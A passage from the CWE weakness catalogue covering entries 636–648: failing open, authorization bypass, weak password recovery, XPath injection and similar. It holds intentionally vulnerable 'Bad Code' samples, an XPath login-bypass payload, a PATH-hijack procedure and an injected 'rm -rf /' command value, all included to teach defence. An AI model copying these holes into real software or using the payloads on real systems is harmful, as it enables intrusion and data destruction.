This view outlines the most important issues as identified by the OWASP Top Ten (2007 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.

Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

References

NIST. "CWE - Common Weakness Enumeration". < http://nvd.nist.gov/cwe.cfm >.

Maintenance Notes

This view is effectively obsolete, although it is probably still in active use by CWE consumers.

In Summer 2007, NIST began using this set of CWE elements to classify CVE entries within the National Vulnerability Database (NVD). In 2016, NIST began using a different list as derived from the "Weaknesses for Simplified Mapping of Published Vulnerabilities" view (CWE-1003).

NVD cross-section of CWE

CWE-636: Not Failing Securely ('Failing Open')

Weakness ID: 636 *(Weakness Class)* **Status:** Draft

Description

Summary

When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions.

Extended Description

By entering a less secure state, the product inherits the weaknesses associated with that state, making it easier to compromise. At the least, it causes administrators to have a false sense of security. This weakness typically occurs as a result of wanting to "fail functional" to minimize administration and support costs, instead of "failing safe."

Alternate Terms

Failing Open

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Access Control

Bypass protection mechanism

Intended access restrictions can be bypassed, which is often contradictory to what the product's administrator expects.

Demonstrative Examples

Switches may revert their functionality to that of hubs when the table used to map ARP information to the switch interface overflows, such as when under a spoofing attack. This results in traffic being broadcast to an eavesdropper, instead of being sent only on the relevant switch interface. To mitigate this type of problem, the developer could limit the number of ARP entries that can be recorded for a given switch interface, while other interfaces may keep functioning normally. Configuration options can be provided on the appropriate actions to be taken in case of a detected failure, but safe defaults should be used.

Observed Examples

Reference	Description
CVE-2006-4407	Incorrect prioritization leads to the selection of a weaker cipher. Although it is not known whether this issue occurred in implementation or design, it is feasible that a poorly designed algorithm could be a factor.
CVE-2007-5277	The failure of connection attempts in a web browser resets DNS pin restrictions. An attacker can then bypass the same origin policy by rebinding a domain name to a different IP address. This was an attempt to "fail functional."

Potential Mitigations

Architecture and Design

Subdivide and allocate resources and components so that a failure in one part does not affect the entire product.

Research Gaps

Since design issues are hard to fix, they are rarely publicly reported, so there are few CVE examples of this problem as of January 2008. Most publicly reported issues occur as the result of an implementation error instead of design, such as CVE-2005-3177 (Improper handling of large numbers of resources) or CVE-2005-2969 (inadvertently disabling a verification step, leading to selection of a weaker protocol).

Causal Nature

CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')

Weakness ID: 637 *(Weakness Class)* **Status:** Draft

Description

Summary

The software uses a more complex mechanism than necessary, which could lead to resultant weaknesses when the mechanism is not correctly understood, modeled, configured, implemented, or used.

Extended Description

Security mechanisms should be as simple as possible. Complex security mechanisms may engender partial implementations and compatibility problems, with resulting mismatches in assumptions and implemented security. A corollary of this principle is that data specifications should be as simple as possible, because complex data specifications result in complex validation code. Complex tasks and systems may also need to be guarded by complex security checks, so simple systems should be preferred.

Alternate Terms

Unnecessary Complexity

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Other

Other

Demonstrative Examples

Example 1:

The IPSEC specification is complex, which resulted in bugs, partial implementations, and incompatibilities between vendors.

Example 2:

HTTP Request Smuggling (CWE-444) attacks are feasible because there are not stringent requirements for how illegal or inconsistent HTTP headers should be handled. This can lead to inconsistent implementations in which a proxy or firewall interprets the same data stream as a different set of requests than the end points in that stream.

Observed Examples

Reference	Description
CVE-2005-2148	The developer cleanses the $_REQUEST superglobal array, but PHP also populates $_GET, allowing attackers to bypass the protection mechanism and conduct SQL injection attacks against code that uses $_GET.
CVE-2007-1552	Either a filename extension and a Content-Type header could be used to infer the file type, but the developer only checks the Content-Type, enabling unrestricted file upload (CWE-434).
CVE-2007-6067	Support for complex regular expressions leads to a resultant algorithmic complexity weakness (CWE-407).
CVE-2007-6479	In Apache environments, a "filename.php.gif" can be redirected to the PHP interpreter instead of being sent as an image/gif directly to the user. Not knowing this, the developer only checks the last extension of a submitted filename, enabling arbitrary code execution.

Potential Mitigations

Architecture and Design

Avoid complex security mechanisms when simpler ones would meet requirements. Avoid complex data models, and unnecessarily complex operations. Adopt architectures that provide guarantees, simplify understanding through elegance and abstraction, and that can be implemented similarly. Modularize, isolate and do not trust complex code, and apply other secure programming principles on these modules (e.g., least privilege) to mitigate vulnerabilities.

CWE-638: Not Using Complete Mediation

Weakness ID: 638 *(Weakness Class)* **Status:** Draft

Description

Summary

The software does not perform access checks on a resource every time the resource is accessed by an entity, which can create resultant weaknesses if that entity's rights or privileges change over time.

Extended Description

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Integrity
Confidentiality
Availability
Access Control
Other
Gain privileges / assume identity
Execute unauthorized code or commands
Bypass protection mechanism
Read application data
Other

A user might retain access to a critical resource even after privileges have been revoked, possibly allowing access to privileged functionality or sensitive information, depending on the role of the resource.

Demonstrative Examples

Example 1:

When executable library files are used on web servers, which is common in PHP applications, the developer might perform an access check in any user-facing executable, and omit the access check from the library file itself. By directly requesting the library file (CWE-425), an attacker can bypass this access check.

Example 2:

When a developer begins to implement input validation for a web application, often the validation is performed in each area of the code that uses externally-controlled input. In complex applications with many inputs, the developer often misses a parameter here or a cookie there. One frequently-applied solution is to centralize all input validation, store these validated inputs in a separate data structure, and require that all access of those inputs must be through that data structure. An alternate approach would be to use an external input validation framework such as Struts, which performs the validation before the inputs are ever processed by the code.

Observed Examples

Reference	Description
CVE-2007-0408	Server does not properly validate client certificates when reusing cached connections.

Potential Mitigations

Architecture and Design

Invalidate cached privileges, file handles or descriptors, or other access credentials whenever identities, processes, policies, roles, capabilities or permissions change. Perform complete authentication checks before accepting, caching and reusing data, dynamic content and code (scripts). Avoid caching access control decisions as much as possible.

Architecture and Design

Identify all possible code paths that might access sensitive resources. If possible, create and use a single interface that performs the access checks, and develop code standards that require use of this interface.

CWE-639: Authorization Bypass Through User-Controlled Key

Weakness ID: 639 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

Extended Description

Retrieval of a user record occurs in the system based on some key value that is under user control. The key would typically identify a user related record stored in the system and would be used to lookup that record for presentation to the user. It is likely that an attacker would have to be an authenticated user in the system. However, the authorization process would not properly check the data access operation to ensure that the authenticated user performing the operation has sufficient entitlements to perform the requested data access, hence bypassing any other authorization checks present in the system. One manifestation of this weakness would be if a system used sequential or otherwise easily guessable session ids that would allow one user to easily switch to another user's session and read/modify their data.

Alternate Terms

Insecure Direct Object Reference

The "Insecure Direct Object Reference" term, as described in the OWASP Top Ten, is broader than this CWE because it also covers path traversal (CWE-22). Within the context of vulnerability theory, there is a similarity between the OWASP concept and CWE-706: Use of Incorrectly-Resolved Name or Reference.

Horizontal Authorization

"Horizontal Authorization" is used to describe situations in which two users have the same privilege level, but must be prevented from accessing each other's resources. This is fairly common when using key-based access to resources in a multi-user context.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-independent

Common Consequences

Access Control

Bypass protection mechanism

Access control checks for specific user data or functionality can be bypassed.

Access Control
Gain privileges / assume identity
Horizontal escalation of privilege is possible (one user can view/modify information of another user).

Access Control
Gain privileges / assume identity
Vertical escalation of privilege is possible if the user-controlled key is actually a flag that indicates administrator status, allowing the attacker to gain administrative access.

Likelihood of Exploit

High

Enabling Factors for Exploitation

The key used internally in the system to identify the user record can be externally controlled. For example attackers can look at places where user specific data is retrieved (e.g. search screens) and determine whether the key for the item being looked up is controllable externally. The key may be a hidden field in the HTML form field, might be passed as a URL parameter or as an unencrypted cookie variable, then in each of these cases it will be possible to tamper with the key value.

Potential Mitigations

Architecture and Design
For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Architecture and Design
Implementation
Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Architecture and Design
Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

CWE-640: Weak Password Recovery Mechanism for Forgotten Password

Weakness ID: 640 *(Weakness Base)* **Status:** Incomplete

Description

Summary
The software contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.

Extended Description

It is common for an application to have a mechanism that provides a means for a user to gain access to their account in the event they forget their password. Very often the password recovery mechanism is weak, which has the effect of making it more likely that it would be possible for a person other than the legitimate system user to gain access to that user's account.

This weakness may be that the security question is too easy to guess or find an answer to (e.g. because it is too common). Or there might be an implementation weakness in the password recovery mechanism code that may for instance trick the system into e-mailing the new password to an e-mail account other than that of the user. There might be no throttling done on the rate of password resets so that a legitimate user can be denied service by an attacker if an attacker tries to recover their password in a rapid succession. The system may send the original password to the user rather than generating a new temporary password. In summary, password recovery functionality, if not carefully designed and implemented can often become the system's weakest link that can be misused in a way that would allow an attacker to gain unauthorized access to the system. Weak password recovery schemes completely undermine a strong password authentication scheme.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Access Control

Gain privileges / assume identity

An attacker could gain unauthorized access to the system by retrieving legitimate user's authentication credentials.

Availability

DoS: resource consumption (other)

An attacker could deny service to legitimate system users by launching a brute force attack on the password recovery mechanism using user ids of legitimate users.

Integrity

Other

Other

The system's security functionality is turned against the system by the attacker.

Likelihood of Exploit

High

Enabling Factors for Exploitation

The system allows users to recover their passwords and gain access back into the system.

Password recovery mechanism relies only on something the user knows and not something the user has.

Weak security questions are used.

No third party intervention is required to use the password recovery mechanism.

Observed Examples

Description
A famous example of this type of weakness being exploited is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.

Potential Mitigations

Architecture and Design

Make sure that all input supplied by the user to the password recovery mechanism is thoroughly filtered and validated.

Architecture and Design

Do not use standard weak security questions and use several security questions.

Architecture and Design

Make sure that there is throttling on the number of incorrect answers to a security question. Disable the password recovery functionality after a certain (small) number of incorrect guesses.

Architecture and Design

Require that the user properly answers the security question prior to resetting their password and sending the new password to the e-mail address of record.

Architecture and Design

Never allow the user to control what e-mail address the new password will be sent to in the password recovery mechanism.

Architecture and Design

Assign a new temporary password rather than revealing the original password.

References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 19: Use of Weak Password-Based Systems." Page 279. McGraw-Hill. 2010.

Maintenance Notes

This entry might be reclassified as a category or "loose composite," since it lists multiple specific errors that can make the mechanism weak. However, under view 1000, it could be a weakness under protection mechanism failure, although it is different from most PMF issues since it is related to a feature that is designed to bypass a protection mechanism (specifically, the lack of knowledge of a password).

This entry probably needs to be split; see extended description.

CWE-641: Improper Restriction of Names for Files and Other Resources

Weakness ID: 641 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The application constructs the name of a file or other resource using input from an upstream component, but does not restrict or incorrectly restricts the resulting name.

Extended Description

This may produce resultant weaknesses. For instance, if the names of these resources contain scripting characters, it is possible that a script may get executed in the client's browser if the application ever displays the name of the resource on a dynamically generated web page. Alternately, if the resources are consumed by some application parser, a specially crafted name can exploit some vulnerability internal to the parser, potentially resulting in execution of arbitrary code on the server machine. The problems will vary based on the context of usage of such malformed resource names and whether vulnerabilities are present in or assumptions are made by the targeted technology that would make code execution possible.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Integrity
Confidentiality
Availability
Execute unauthorized code or commands

Execution of arbitrary code in the context of usage of the resources with dangerous names.

Confidentiality
Availability
Read application data
DoS: crash / exit / restart

Crash of the consumer code of these resources resulting in information leakage or denial of service.

Likelihood of Exploit

Low

Enabling Factors for Exploitation

Resource names are controllable by the user.

No sufficient validation of resource names at entry points or before consumption by other processes.

Context where the resources are consumed makes execution of code possible based on the names of the supplied resources.

Potential Mitigations

Architecture and Design

Do not allow users to control names of resources used on the server side.

Architecture and Design

Perform whitelist input validation at entry points and also before consuming the resources. Reject bad file names rather than trying to cleanse them.

Architecture and Design

Make sure that technologies consuming the resources are not vulnerable (e.g. buffer overflow, format string, etc.) in a way that would allow code execution if the name of the resource is malformed.

Relationships

Nature	Type	ID	Name	V	Page

CWE-642: External Control of Critical State Data

Weakness ID: 642 *(Weakness Class)* **Status:** Draft

Description

Summary

The software stores security-critical state information about its users, or the software itself, in a location that is accessible to unauthorized actors.

Extended Description

If an attacker can modify the state information without detection, then it could be used to perform unauthorized actions or access unexpected resources, since the application programmer does not expect that the state can be changed.

State information can be stored in various locations such as a cookie, in a hidden web form field, input parameter or argument, an environment variable, a database record, within a settings file, etc. All of these locations have the potential to be modified by an attacker. When this state information is used to control security or determine resource usage, then it may create a vulnerability. For example, an application may perform authentication, then save the state in an "authenticated=true" cookie. An attacker may simply create this cookie in order to bypass the authentication.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Technology Classes

- Web-Server *(Often)*

Common Consequences

Access Control
Bypass protection mechanism
Gain privileges / assume identity

An attacker could potentially modify the state in malicious ways. If the state is related to the privileges or level of authentication that the user has, then state modification might allow the user to bypass authentication or elevate privileges.

Confidentiality
Read application data

The state variables may contain sensitive information that should not be known by the client.

Availability
DoS: crash / exit / restart

By modifying state variables, the attacker could violate the application's expectations for the contents of the state, leading to a denial of service due to an unexpected error condition.

Likelihood of Exploit

High

Enabling Factors for Exploitation

An application maintains its own state and/or user state (i.e. application is stateful).

State information can be affected by the user of an application through some means other than the legitimate state transitions (e.g. logging into the system, purchasing an item, making a payment, etc.)

An application does not have means to detect state tampering and behave in a fail safe manner.

Demonstrative Examples

Example 1:

CWE-642: External Control of Critical State Data

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

Java Example: *Bad Code*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
  Cookie c = cookies[i];
  if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
    authenticated = true;
  }
}
```

Example 2:

The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files (CWE-22).

Java Example: *Bad Code*

```
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();
```

Example 3:

The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.

Java Example: *Bad Code*

```
fis = new FileInputStream(cfg.getProperty("sub")+".txt");
amt = fis.read(arr);
out.println(arr);
```

Example 4:

This program is intended to execute a command that lists the contents of a restricted directory, then performs other actions. Assume that it runs with setuid privileges in order to bypass the permissions check by the operating system.

C Example: *Bad Code*

```
#define DIR "/restricted/directory"
char cmd[500];
sprintf(cmd, "ls -l %480s", DIR);
/* Raise privileges to those needed for accessing DIR. */
RaisePrivileges(...);
system(cmd);
DropPrivileges(...);
...
```

This code may look harmless at first, since both the directory and the command are set to fixed values that the attacker can't control. The attacker can only see the contents for DIR, which is the intended program behavior. Finally, the programmer is also careful to limit the code that executes with raised privileges.

However, because the program does not modify the PATH environment variable, the following attack would work:

PseudoCode Example: *Attack*

The user sets the PATH to reference a directory under that user's control, such as "/my/dir/".

The user creates a malicious program called "ls", and puts that program in /my/dir

The user executes the program.

When system() is executed, the shell consults the PATH to find the ls program

The program finds the malicious program, "/my/dir/ls". It doesn't find "/bin/ls" because PATH does not contain "/bin/".

The program executes the malicious program with the raised privileges.

Example 5:

This code prints all of the running processes belonging to the current user.

PHP Example: *Bad Code*

```
//assume getCurrentUser() returns a username that is guaranteed to be alphanumeric (CWE-78)
$userName = getCurrentUser();
$command = 'ps aux | grep ' . $userName;
system($command);
```

This program is also vulnerable to a PATH based attack (CWE-426), as an attacker may be able to create malicious versions of the ps or grep commands. While the program does not explicitly raise privileges to run the system commands, the PHP interpreter may by default be running with higher privileges than users.

Example 6:

The following code segment implements a basic server that uses the "ls" program to perform a directory listing of the directory that is listed in the "HOMEDIR" environment variable. The code intends to allow the user to specify an alternate "LANG" environment variable. This causes "ls" to customize its output based on a given language, which is an important capability when supporting internationalization.

Perl Example: *Bad Code*

```
$ENV{"HOMEDIR"} = "/home/mydir/public/";
my $stream = AcceptUntrustedInputStream();
while (<$stream>) {
  chomp;
  if (/^ENV ([\w\_]+) (.*)/) {
    $ENV{$1} = $2;
  }
  elsif (/^QUIT/) { ... }
  elsif (/^LIST/) {
    open($fh, "/bin/ls -l $ENV{HOMEDIR}|");
    while (<$fh>) {
      SendOutput($stream, "FILEINFO: $_");
    }
    close($fh);
  }
}
```

The programmer takes care to call a specific "ls" program and sets the HOMEDIR to a fixed value. However, an attacker can use a command such as "ENV HOMEDIR /secret/directory" to specify an alternate directory, enabling a path traversal attack (CWE-22). At the same time, other attacks are enabled as well, such as OS command injection (CWE-78) by setting HOMEDIR to a value such as "/tmp; rm -rf /". In this case, the programmer never intends for HOMEDIR to be modified, so input validation for HOMEDIR is not the solution. A partial solution would be a whitelist that only allows the LANG variable to be specified in the ENV command. Alternately, assuming this is an authenticated user, the language could be stored in a local file so that no ENV command at all would be needed.

While this example may not appear realistic, this type of problem shows up in code fairly frequently. See CVE-1999-0073 in the observed examples for a real-world example with similar behaviors.

Observed Examples

Reference	Description
CVE-1999-0073	Telnet daemon allows remote clients to specify critical environment variables for the server, leading to code execution.
CVE-2000-0102	Shopping cart allows price modification via hidden form field.
CVE-2000-0253	Shopping cart allows price modification via hidden form field.
CVE-2005-2428	Mail client stores password hashes for unrelated accounts in a hidden form field.
CVE-2006-7191	Untrusted search path vulnerability through modified LD_LIBRARY_PATH environment variable.

Reference	Description
CVE-2007-4432	Untrusted search path vulnerability through modified LD_LIBRARY_PATH environment variable.
CVE-2008-0306	Privileged program trusts user-specified environment variable to modify critical configuration settings.
CVE-2008-1319	Server allows client to specify the search path, which can be modified to point to a program that the client has uploaded.
CVE-2008-4752	Application allows admin privileges by setting a cookie value to "admin."
CVE-2008-5065	Application allows admin privileges by setting a cookie value to "admin."
CVE-2008-5125	Application allows admin privileges by setting a cookie value to "admin."
CVE-2008-5642	Setting of a language preference in a cookie enables path traversal attack.
CVE-2008-5738	Calendar application allows bypass of authentication by setting a certain cookie value to 1.

Potential Mitigations

Architecture and Design

Understand all the potential locations that are accessible to attackers. For example, some programmers assume that cookies and hidden form fields cannot be modified by an attacker, or they may not consider that environment variables can be modified before a privileged program is invoked.

Architecture and Design
Identify and Reduce Attack Surface

Store state information and sensitive data on the server side only.

Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.

If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC) [R.642.2]. Apply this against the state or sensitive data that you has to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).

Architecture and Design

Store state information on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.

Architecture and Design
Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

With a stateless protocol such as HTTP, use some frameworks can maintain the state for you.

Examples include ASP.NET View State and the OWASP ESAPI Session Management feature.

Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Operation
Implementation
Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')

Weakness ID: 643 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software uses external input to dynamically construct an XPath expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.

Extended Description

The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Access Control
Bypass protection mechanism
Controlling application flow (e.g. bypassing authentication).

Confidentiality
Read application data
The attacker could read restricted XML content.

Likelihood of Exploit

High

Enabling Factors for Exploitation

XPath queries are constructed dynamically using user supplied input

Demonstrative Examples

Consider the following simple XML document that stores authentication information and a snippet of Java code that uses XPath query to retrieve authentication information:

XML Example:

```
<users>
  <user>
    <login>john</login>
    <password>abracadabra</password>
    <home_dir>/home/john</home_dir>
  </user>
  <user>
    <login>cbc</login>
    <password>1mgr8</password>
    <home_dir>/home/cbc</home_dir>
  </user>
</users>
```

The Java code used to retrieve the home directory based on the provided credentials is:

Java Example: *Bad Code*

```
XPath xpath = XPathFactory.newInstance().newXPath();
XPathExpression xlogin = xpath.compile("//users/user[login/text()='" + login.getUserName() + "' and password/text() = '" +
login.getPassword() + "']/home_dir/text()");
Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new File("db.xml"));
String homedir = xlogin.evaluate(d);
```

Assume that user "john" wishes to leverage XPath Injection and login without a valid password. By providing a username "john" and password "' or ''='" the XPath expression now becomes

Attack

```
//users/user[login/text()='john' or ''='' and password/text() = '' or ''='']/home_dir/text()
```

which, of course, lets user "john" login without a valid password, thus bypassing authentication.

Potential Mitigations

Implementation

Use parameterized XPath queries (e.g. using XQuery). This will help ensure separation between data plane and control plane.

Implementation

Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XPath queries is safe in that context.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	91	XML Injection (aka Blind XPath Injection)	699 1000	170

CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax

Weakness ID: 644 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The application does not neutralize or incorrectly neutralizes web scripting syntax in HTTP headers that can be used by web browser components that can process raw headers, such as Flash.

Extended Description

An attacker may be able to conduct cross-site scripting and other attacks against users who have these components enabled.

If an application does not neutralize user controlled data being placed in the header of an HTTP response coming from the server, the header may contain a script that will get executed in the client's browser context, potentially resulting in a cross site scripting vulnerability or possibly an HTTP response splitting attack. It is important to carefully control data that is being placed both in HTTP response header and in the HTTP response body to ensure that no scripting syntax is present, taking various encodings into account.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Integrity
Confidentiality
Availability
Execute unauthorized code or commands

Run arbitrary code.

Confidentiality
Read application data

Attackers may be able to obtain sensitive information.

Likelihood of Exploit

High

Enabling Factors for Exploitation

Script execution functionality is enabled in the user's browser.

Demonstrative Examples

In the following Java example, user-controlled data is added to the HTTP headers and returned to the client. Given that the data is not subject to neutralization, a malicious user may be able to inject dangerous scripting tags that will lead to script execution in the client browser.

Java Example: *Bad Code*

```
response.addHeader(HEADER_NAME, untrustedRawInputData);
```

Observed Examples

Reference	Description
CVE-2006-3918	Web server does not remove the Expect header from an HTTP request when it is reflected back in an error message, allowing a Flash SWF file to perform XSS attacks.

Potential Mitigations

Architecture and Design

Perform output validation in order to filter/escape/encode unsafe data that is being passed from the server in an HTTP response header.

Architecture and Design

Disable script execution functionality in the clients' browser.

CWE-645: Overly Restrictive Account Lockout Mechanism

Weakness ID: 645 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software contains an account lockout protection mechanism, but the mechanism is too restrictive and can be triggered too easily. This allows attackers to deny service to legitimate users by causing their accounts to be locked out.

Extended Description

Account lockout is a security feature often present in applications as a countermeasure to the brute force attack on the password based authentication mechanism of the system. After a certain number of failed login attempts, the users' account may be disabled for a certain period of time or until it is unlocked by an administrator. Other security events may also possibly trigger account lockout. However, an attacker may use this very security feature to deny service to legitimate system users. It is therefore important to ensure that the account lockout security mechanism is not overly restrictive.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Availability

DoS: resource consumption (other)

Users could be locked out of accounts.

Likelihood of Exploit

High

Enabling Factors for Exploitation

The system has an account lockout mechanism.

An attacker must be able to trigger the account lockout mechanism.

The cost to the attacker of triggering the account lockout mechanism should be less than the cost to re-enable the account.

Observed Examples

Description
A famous example of this type an attack is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.

Potential Mitigations

Architecture and Design

Implement more intelligent password throttling mechanisms such as those which take IP address into account, in addition to the login name.

Architecture and Design

Implement a lockout timeout that grows as the number of incorrect login attempts goes up, eventually resulting in a complete lockout.

Architecture and Design

Consider alternatives to account lockout that would still be effective against password brute force attacks, such as presenting the user machine with a puzzle to solve (makes it do some computation).

Relationships

CWE-646: Reliance on File Name or Extension of Externally-Supplied File

Weakness ID: 646 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software allows a file to be uploaded, but it relies on the file name or extension of the file to determine the appropriate behaviors. This could be used by attackers to cause the file to be misclassified and processed in a dangerous fashion.

Extended Description

An application might use the file name or extension of of a user-supplied file to determine the proper course of action, such as selecting the correct process to which control should be passed, deciding what data should be made available, or what resources should be allocated. If the attacker can cause the code to misclassify the supplied file, then the wrong action could occur. For example, an attacker could supply a file that ends in a ".php.gif" extension that appears to be a GIF image, but would be processed as PHP code. In extreme cases, code execution is possible, but the attacker could also cause exhaustion of resources, denial of service, exposure of debug or system data (including application source code), or being bound to a particular server side process. This weakness may be due to a vulnerability in any of the technologies used by the web and application servers, due to misconfiguration, or resultant from another flaw in the application itself.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-independent

Common Consequences

Confidentiality
Read application data
An attacker may be able to read sensitive data.

Availability
DoS: crash / exit / restart
An attacker may be able to cause a denial of service.

Access Control
Gain privileges / assume identity
An attacker may be able to gain privileges.

Likelihood of Exploit

High

Enabling Factors for Exploitation

There is reliance on file name and/or file extension on the server side for processing.

Potential Mitigations

Architecture and Design
Make decisions on the server side based on file content and not on file name or extension.

CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions

Weakness ID: 647 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software defines policy namespaces and makes authorization decisions based on the assumption that a URL is canonical. This can allow a non-canonical URL to bypass the authorization.

Extended Description

If an application defines policy namespaces and makes authorization decisions based on the URL, but it does not require or convert to a canonical URL before making the authorization decision, then it opens the application to attack. For example, if the application only wants to allow access to http://www.example.com/mypage, then the attacker might be able to bypass this restriction using equivalent URLs such as:

http://WWW.EXAMPLE.COM/mypage

http://www.example.com/%6Dypage (alternate encoding)

http://192.168.1.1/mypage (IP address)

http://www.example.com/mypage/ (trailing /)

http://www.example.com:80/mypage

Therefore it is important to specify access control policy that is based on the path information in some canonical form with all alternate encodings rejected (which can be accomplished by a default deny rule).

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-independent

Architectural Paradigms

- Web-based

Common Consequences

Access Control

Bypass protection mechanism

An attacker may be able to bypass the authorization mechanism to gain access to the otherwise-protected URL.

Confidentiality

Read files or directories

If a non-canonical URL is used, the server may choose to return the contents of the file, instead of pre-processing the file (e.g. as a program).

Likelihood of Exploit

High

Enabling Factors for Exploitation

An application specifies its policy namespaces and access control rules based on the path information.

Alternate (but equivalent) encodings exist to represent the same path information that will be understood and accepted by the process consuming the path and granting access to resources.

Observed Examples

Description
Example from CAPEC (CAPEC ID: 4, "Using Alternative IP Address Encodings"). An attacker identifies an application server that applies a security policy based on the domain and application name, so the access control policy covers authentication and authorization for anyone accessing http://example.domain:8080/application. However, by putting in the IP address of the host the application authentication and authorization controls may be bypassed http://192.168.0.1:8080/application. The attacker relies on the victim applying policy to the namespace abstraction and not having a default deny policy in place to manage exceptions.

Potential Mitigations

Architecture and Design

Make access control policy based on path information in canonical form. Use very restrictive regular expressions to validate that the path is in the expected form.

Architecture and Design

Reject all alternate path encodings that are not in the expected canonical form.

Relationships

CWE-648: Incorrect Use of Privileged APIs

Weakness ID: 648 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The application does not conform to the API requirements for a function call that requires extra privileges. This could allow attackers to gain privileges by causing the function to be called incorrectly.

Extended Description

When an application contains certain functions that perform operations requiring an elevated level of privilege, the caller of a privileged API must be careful to:

ensure that assumptions made by the APIs are valid, such as validity of arguments

account for known weaknesses in the design/implementation of the API

call the API from a safe context

If the caller of the API does not follow these requirements, then it may allow a malicious user or process to elevate their privilege, hijack the process, or steal sensitive data.

For instance, it is important to know if privileged APIs do not shed their privileges before returning to the caller or if the privileged function might make certain assumptions about the data, context or state information passed to it by the caller. It is important to always know when and how privileged APIs can be called in order to ensure that their elevated level of privilege cannot be exploited.
